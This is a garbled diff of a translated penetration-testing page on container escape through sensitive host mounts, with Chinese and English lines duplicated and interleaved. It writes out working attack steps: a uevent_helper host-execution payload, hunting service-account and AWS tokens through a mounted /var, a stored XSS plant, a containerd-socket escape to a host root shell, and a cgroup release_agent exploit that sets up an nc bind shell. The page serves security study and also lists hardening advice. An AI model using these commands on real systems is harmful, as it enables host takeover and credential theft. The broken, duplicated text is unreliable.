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Translated ['src/linux-hardening/privilege-escalation/docker-security/do
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@ -27,7 +27,7 @@ sleep 5 && ./crash & # Trigger handler
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```
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检查 [this post](https://pwning.systems/posts/escaping-containers-for-fun/) 以获取更多信息。
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崩溃的示例程序：
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示例程序崩溃：
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```c
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int main(void) {
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char buf[1];
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@ -39,8 +39,8 @@ return 0;
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```
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#### **`/proc/sys/kernel/modprobe`**
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- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
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- 包含内核模块加载器的路径，用于加载内核模块。
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- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。
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- 包含用于加载内核模块的内核模块加载器的路径。
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- **检查访问示例**：
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```bash
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@ -49,27 +49,27 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
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#### **`/proc/sys/vm/panic_on_oom`**
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- 参考 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
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- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用。
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- 一个全局标志，控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。
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#### **`/proc/sys/fs`**
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- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)，包含有关文件系统的选项和信息。
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- 写入访问可能会启用针对主机的各种拒绝服务攻击。
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- 写入访问可以启用针对主机的各种拒绝服务攻击。
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#### **`/proc/sys/fs/binfmt_misc`**
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- 允许根据魔术数字注册非本地二进制格式的解释器。
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- 允许根据其魔术数字注册非本地二进制格式的解释器。
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- 如果 `/proc/sys/fs/binfmt_misc/register` 可写，可能导致特权升级或 root shell 访问。
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- 相关漏洞和解释：
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- [通过 binfmt_misc 的穷人根工具包](https://github.com/toffan/binfmt_misc)
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- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
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- 深入教程：[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
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### 其他 `/proc` 中的内容
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### 其他在 `/proc` 中
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#### **`/proc/config.gz`**
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- 如果启用了 `CONFIG_IKCONFIG_PROC`，可能会泄露内核配置。
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- 如果启用了 `CONFIG_IKCONFIG_PROC`，可能会揭示内核配置。
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- 对攻击者识别运行内核中的漏洞非常有用。
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#### **`/proc/sysrq-trigger`**
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@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # 重启主机
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#### **`/proc/kmsg`**
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- 暴露内核环形缓冲区消息。
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- 可以帮助进行内核漏洞利用、地址泄漏，并提供敏感系统信息。
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- 可以帮助内核漏洞利用、地址泄漏，并提供敏感系统信息。
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#### **`/proc/kallsyms`**
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@ -101,10 +101,10 @@ echo b > /proc/sysrq-trigger # 重启主机
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#### **`/proc/kcore`**
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- 以 ELF 核心格式表示系统的物理内存。
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- 读取可能会泄露主机系统和其他容器的内存内容。
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- 以 ELF core 格式表示系统的物理内存。
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- 读取可能泄漏主机系统和其他容器的内存内容。
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- 大文件大小可能导致读取问题或软件崩溃。
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- 详细用法见 [2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
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- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
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#### **`/proc/kmem`**
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@ -132,83 +132,88 @@ echo b > /proc/sysrq-trigger # 重启主机
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- 用于处理内核设备 `uevents`。
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- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
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- **利用示例**： %%%bash
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- **利用示例**：
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```bash
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#### 创建有效载荷
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#### Creates a payload
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echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
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#### 从 OverlayFS 挂载中查找主机路径
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#### Finds host path from OverlayFS mount for container
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host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
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#### 将 uevent_helper 设置为恶意助手
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#### Sets uevent_helper to malicious helper
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echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
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#### 触发 uevent
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#### Triggers a uevent
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echo change > /sys/class/mem/null/uevent
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#### 读取输出
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#### Reads the output
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cat /output %%%
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cat /output
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```
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#### **`/sys/class/thermal`**
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- 控制温度设置，可能导致 DoS 攻击或物理损坏。
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- Controls temperature settings, potentially causing DoS attacks or physical damage.
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#### **`/sys/kernel/vmcoreinfo`**
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- 泄露内核地址，可能危及 KASLR。
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- Leaks kernel addresses, potentially compromising KASLR.
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#### **`/sys/kernel/security`**
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- 存放 `securityfs` 接口，允许配置 Linux 安全模块，如 AppArmor。
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- 访问可能使容器能够禁用其 MAC 系统。
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- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
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- Access might enable a container to disable its MAC system.
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#### **`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`**
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#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
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- 暴露与 NVRAM 中的 EFI 变量交互的接口。
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- 错误配置或利用可能导致笔记本电脑砖化或主机无法启动。
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- Exposes interfaces for interacting with EFI variables in NVRAM.
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- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
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#### **`/sys/kernel/debug`**
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- `debugfs` 提供了一个“无规则”的调试接口给内核。
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- 由于其不受限制的性质，历史上存在安全问题。
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- `debugfs` offers a "no rules" debugging interface to the kernel.
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- History of security issues due to its unrestricted nature.
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### `/var` 漏洞
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### `/var` Vulnerabilities
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主机的 **/var** 文件夹包含容器运行时套接字和容器的文件系统。
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如果该文件夹在容器内挂载，该容器将获得对其他容器文件系统的读写访问权限
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并具有 root 权限。这可能被滥用以在容器之间进行切换，导致拒绝服务，或为其他
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容器和在其中运行的应用程序设置后门。
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The host's **/var** folder contains container runtime sockets and the containers' filesystems.
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If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
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with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
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containers and applications that run in them.
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#### Kubernetes
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如果像这样的容器通过 Kubernetes 部署：
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If a container like this is deployed with Kubernetes:
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```yaml
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apiVersion: v1
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kind: Pod
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metadata:
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name: pod-mounts-var
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labels:
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app: pentest
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spec:
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containers:
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- name: pod-mounts-var-folder
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image: alpine
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volumeMounts:
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- mountPath: /host-var
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name: noderoot
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command: [ "/bin/sh", "-c", "--" ]
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args: [ "while true; do sleep 30; done;" ]
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volumes:
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- name: noderoot
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hostPath:
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path: /var
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apiVersion: v1
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kind: Pod
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metadata:
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name: pod-mounts-var
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labels:
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app: pentest
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spec:
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containers:
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- name: pod-mounts-var-folder
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image: alpine
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volumeMounts:
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- mountPath: /host-var
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name: noderoot
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command: [ "/bin/sh", "-c", "--" ]
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args: [ "while true; do sleep 30; done;" ]
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volumes:
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- name: noderoot
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hostPath:
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path: /var
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```
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在 **pod-mounts-var-folder** 容器内：
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Inside the **pod-mounts-var-folder** container:
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```bash
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/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
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@ -229,17 +234,20 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
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/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
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are/nginx/html/index2.html
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```
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XSS 已实现：
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The XSS was achieved:
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请注意，容器不需要重启或其他操作。通过挂载的 **/var** 文件夹所做的任何更改将立即生效。
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您还可以替换配置文件、二进制文件、服务、应用程序文件和 shell 配置文件，以实现自动（或半自动）RCE。
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Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
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##### 访问云凭证
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You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
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##### Access to cloud credentials
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The container can read K8s serviceaccount tokens or AWS webidentity tokens
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which allows the container to gain unauthorized access to K8s or cloud:
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容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌，这使得容器能够获得对 K8s 或云的未经授权访问：
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```bash
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/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
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/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
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@ -248,30 +256,100 @@ XSS 已实现：
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/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
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/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
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```
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#### Docker
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在Docker（或Docker Compose部署）中的利用方式完全相同，唯一的区别是其他容器的文件系统通常在不同的基础路径下可用：
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The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
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the other containers' filesystems are available under a different base path:
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```bash
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$ docker info | grep -i 'docker root\|storage driver'
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Storage Driver: overlay2
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Docker Root Dir: /var/lib/docker
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存储驱动: overlay2
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Docker 根目录: /var/lib/docker
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```
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所以文件系统位于 `/var/lib/docker/overlay2/`：
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So the filesystems are under `/var/lib/docker/overlay2/`:
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```bash
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$ sudo ls -la /var/lib/docker/overlay2
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drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
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drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
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drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
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drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
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drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
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drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
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drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
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drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
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<SNIP>
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```
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#### 注意
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实际路径在不同的设置中可能会有所不同，这就是为什么你最好的选择是使用 **find** 命令来定位其他容器的文件系统和 SA / web 身份令牌。
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#### Note
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### 参考文献
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The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
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locate the other containers' filesystems and SA / web identity tokens
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### Other Sensitive Host Sockets and Directories (2023-2025)
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Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
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```text
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/run/containerd/containerd.sock # containerd CRI 套接字
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/var/run/crio/crio.sock # CRI-O 运行时套接字
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/run/podman/podman.sock # Podman API（有根或无根）
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/var/run/kubelet.sock # Kubernetes 节点上的 Kubelet API
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/run/firecracker-containerd.sock # Kata / Firecracker
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```
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Attack example abusing a mounted **containerd** socket:
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```bash
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# 在容器内（套接字挂载在 /host/run/containerd.sock）
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ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
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ctr --address /host/run/containerd.sock run --tty --privileged --mount \
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type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
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chroot /host /bin/bash # 在主机上获得完整的 root shell
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```
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A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
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Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
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```bash
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# 假设容器具有 CAP_SYS_ADMIN 权限并且内核存在漏洞
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mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
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echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # 需要 CVE-2022-0492
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echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
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sh -c "echo 0 > /tmp/x/cgroup.procs" # 触发 empty-cgroup 事件
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```
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When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
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### Mount-Related Escape CVEs (2023-2025)
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|
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* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
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runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
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|
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```Dockerfile
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FROM scratch
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WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
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CMD ["/bin/sh"]
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```
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* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
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A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
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### Hardening Reminders (2025)
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1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
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2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
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3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
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4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
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### References
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|
||||
- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
|
||||
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
||||
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